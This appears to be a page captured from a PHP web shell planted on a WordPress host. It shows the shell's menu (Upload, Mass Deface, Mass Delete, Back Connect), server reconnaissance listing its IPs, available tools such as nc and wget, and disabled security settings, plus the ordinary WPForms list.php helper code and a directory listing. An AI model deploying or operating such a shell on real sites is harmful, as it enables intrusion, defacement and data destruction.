SEC [ nuwan.pro ]

Linux server217.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64

LiteSpeed

198.54.115.226 | Your IP: 216.73.216.130

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ home / nuwazhsc / public_html / wp-content / plugins / wpforms-lite / includes / functions /

Home Upload Mass Deface Mass Delete Back Connect Info Server

Server Info

Operating System	:	Linux server217.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User / Group	:	7627[nuwazhsc] / 7590[nuwazhsc]
PHP Version	:	8.0.30
IP Server	:	198.54.115.226
Your IP	:	216.73.216.130
Storage	:	Total = 6.2 TB, Free = 3.94 TB [63%]
Domains	:	Cant read [ /etc/named.conf ]
Software	:	LiteSpeed
Disable Functions	:	All function is accessible
Useful Functions	:	gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader	:	wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON \| SSH2 : OFF \| Magic Quotes : OFF \| MySQL : ON \| MSSQL : OFF \| PostgreSQL : ON \| Oracle : OFF
Safe Mode : OFF \| Open Basedir : NONE \| Safe Mode Exec Dir : NONE \| Safe Mode Include Dir : NONE

list.php

<?php
/**
 * Helper functions to work with multidimensional arrays easier.
 *
 * @since 1.5.6
 */

/**
 * Determine whether the given value is array accessible.
 *
 * @since 1.5.6
 *
 * @param mixed $value Checkin to accessible.
 *
 * @return bool
 */
function wpforms_list_accessible( $value ) {

return is_array( $value ) || $value instanceof ArrayAccess;
}

/**
 * Set an array item to a given value using "dot" notation.
 *
 * If no key is given to the method, the entire array will be replaced.
 *
 * @since 1.5.6
 *
 * @param array  $array     Existing array.
 * @param string $key       Path to set.
 * @param mixed  $value     Value to set.
 * @param string $separator Separator.
 *
 * @return array New array.
 */
function wpforms_list_set( $array, $key, $value, $separator = '.' ) {

if ( ! wpforms_list_accessible( $array ) ) {
		return $value;
	}

if ( $key === null ) {
		$array = $value;

return $array;
	}

$keys       = explode( $separator, $key );
	$count_keys = count( $keys );
	$values     = array_values( $keys );
	$last_key   = $values[ $count_keys - 1 ];
	$tmp_array  = &$array;

for ( $i = 0; $i < $count_keys - 1; $i ++ ) {
		$k         = $keys[ $i ];
		$tmp_array = &$tmp_array[ $k ];
	}

$tmp_array[ $last_key ] = $value;

return $array;
}

/**
 * Determine if the given key exists in the provided array.
 *
 * @since 1.5.6
 *
 * @param ArrayAccess|array $array Existing array.
 * @param string|int        $key   To check.
 *
 * @return bool
 */
function wpforms_list_exists( $array, $key ) {

if ( ! wpforms_list_accessible( $array ) ) {
		return false;
	}

if ( $array instanceof ArrayAccess ) {
		return $array->offsetExists( $key );
	}

return array_key_exists( $key, $array );
}

/**
 * Get an item from an array using "dot" notation.
 *
 * @since 1.5.6
 *
 * @param ArrayAccess|array $array   Where we want to get.
 * @param string            $key     Key with dot's.
 * @param mixed             $default Value.
 *
 * @return mixed
 */
function wpforms_list_get( $array, $key, $default = null ) {

if ( ! wpforms_list_accessible( $array ) ) {
		return $default;
	}

if ( $key === null ) {
		return $array;
	}

if ( ! is_string( $key ) ) {
		return $default;
	}

if ( wpforms_list_exists( $array, $key ) ) {
		return $array[ $key ];
	}

foreach ( explode( '.', $key ) as $segment ) {
		if ( wpforms_list_accessible( $array ) && wpforms_list_exists( $array, $segment ) ) {
			$array = $array[ $segment ];
		} else {
			return $default;
		}
	}

return $array;
}

/**
 * Check if an item exists in an array using "dot" notation.
 *
 * @since 1.5.6
 *
 * @param ArrayAccess|array $array To check.
 * @param string            $key   Keys with dot's.
 *
 * @return bool
 */
function wpforms_list_has( $array, $key ) {

if ( ! $array ) {
		return false;
	}

if ( $key === null || ! is_string( $key ) ) {
		return false;
	}

if ( wpforms_list_exists( $array, $key ) ) {
		return true;
	}

foreach ( explode( '.', $key ) as $segment ) {
		if ( wpforms_list_accessible( $array ) && wpforms_list_exists( $array, $segment ) ) {
			$array = $array[ $segment ];
		} else {
			return false;
		}
	}

return true;
}

/**
 * Determine if an array is associative.
 *
 * An array is "associative" if it doesn't have sequential numerical keys beginning with zero.
 *
 * @since 1.5.6
 *
 * @param array $array To check.
 *
 * @return bool
 */
function wpforms_list_is_assoc( $array ) {

$keys = array_keys( $array );

return array_keys( $keys ) !== $keys;
}

/**
 * Get a subset of the items from the given array.
 *
 * @since 1.5.6
 *
 * @param array        $array To get.
 * @param array|string $keys  To filter.
 *
 * @return array
 */
function wpforms_list_only( $array, $keys ) {

return array_intersect_key( $array, array_flip( (array) $keys ) );
}

/**
 * Remove one or many array items from a given array using "dot" notation.
 *
 * @since 1.5.6
 *
 * @param array        $array To forget.
 * @param array|string $keys  To exclude.
 *
 * @return array
 */
function wpforms_list_forget( $array, $keys ) {

$tmp_array = &$array;
	$keys      = (array) $keys;

if ( count( $keys ) === 0 ) {
		return $array;
	}

foreach ( $keys as $key ) {
		// if the exact key exists in the top-level, remove it.
		if ( wpforms_list_exists( $array, $key ) ) {
			unset( $array[ $key ] );
			continue;
		}

$parts      = explode( '.', $key );
		$count_keys = count( $parts );
		$values     = array_values( $parts );
		$last_key   = $values[ $count_keys - 1 ];

for ( $i = 0; $i < $count_keys - 1; $i ++ ) {
			$k         = $parts[ $i ];
			$tmp_array = &$tmp_array[ $k ];
		}

unset( $tmp_array[ $last_key ] );
	}

return $array;
}

/**
 * Insert a value or key/value pair after a specific key in an array.
 * If key doesn't exist, value is appended to the end of the array.
 *
 * @since 1.5.8
 *
 * @param array  $target Array where to insert.
 * @param string $key    Insert after key.
 * @param array  $data   Array to insert.
 *
 * @return array
 */
function wpforms_list_insert_after( array $target, string $key, array $data ): array {

return wpforms_list_insert( $target, $key, $data, 'after' );
}

/**
 * Insert a value or key/value pair before a specific key in an array.
 * If key doesn't exist, value is prepended to the beginning of the array.
 *
 * @since 1.8.9
 *
 * @param array  $target Array where to insert.
 * @param string $key    Insert before key.
 * @param array  $data   Array to insert.
 *
 * @return array
 */
function wpforms_list_insert_before( array $target, string $key, array $data ): array {

return wpforms_list_insert( $target, $key, $data, 'before' );
}

/**
 * Insert a value or key/value pair before or after a specific key in an array.
 * If key doesn't exist, value is appended to the end of the array.
 *
 * @since 1.8.9
 *
 * @param array  $target   Array where to insert.
 * @param string $key      Insert before/after key.
 * @param array  $data     Array to insert.
 * @param string $position Position to insert before/after.
 *
 * @return array
 */
function wpforms_list_insert( array $target, string $key, array $data, string $position ): array {

$position = strtolower( $position );

$keys  = array_keys( $target );
	$index = array_search( $key, $keys, true );
	$pos   = 0;

if ( $position === 'before' ) {
		$pos = $index === false ? 0 : $index;
	} elseif ( $position === 'after' ) {
		$pos = $index === false ? count( $target ) : $index + 1;
	}

return array_merge( array_slice( $target, 0, $pos ), $data, array_slice( $target, $pos ) );
}

/**
 * Cleanup $items array recursively removing from it all keys not existing in the $default array.
 *
 * @since 1.7.2
 *
 * @param array $items   Items.
 * @param array $default Default items.
 *
 * @return array
 */
function wpforms_list_intersect_key( $items, $default ) {

if ( ! is_array( $items ) ) {
		return $items;
	}

$items = array_intersect_key( $items, $default );

foreach ( $items as $key => &$item ) {
		$item = wpforms_list_intersect_key( $item, $default[ $key ] );
	}

return $items;
}

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2026-03-03 10:31:06
..	dir	-	nuwazhsc/nuwazhsc	drwxr-xr-x	2026-03-03 10:31:06
access.php	text/x-php	10.83 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-09-25 03:01:02
builder.php	text/x-php	1.38 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-06-17 01:49:02
checks.php	text/x-php	15.8 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-11-06 07:10:44
colors.php	text/x-php	3.97 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2023-11-28 04:59:36
data-presets.php	text/x-php	19.13 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-11-06 07:10:44
date-time.php	text/x-php	2.82 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-06-05 04:54:44
debug.php	text/x-php	5.25 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-08-11 01:38:06
education.php	text/x-php	2.89 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-06-17 01:49:02
escape-sanitize.php	text/x-php	14.21 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-11-06 07:10:44
filesystem-media.php	text/x-php	6.6 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-04-24 02:53:30
form-fields.php	text/x-php	18.78 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2026-02-24 05:16:18
forms.php	text/x-php	13.74 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2026-01-29 08:00:56
list.php	text/x-php	6.88 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2024-06-13 04:24:36
payments.php	text/x-php	21.76 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-07-31 02:13:36
plugins.php	text/x-php	2.38 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-06-05 04:54:44
privacy.php	text/x-php	2.52 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-02-27 05:40:00
providers.php	text/x-php	1.99 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2025-06-05 04:54:44
utilities.php	text/x-php	10.43 KB	nuwazhsc/nuwazhsc	-rw-r--r--	2026-01-29 08:00:56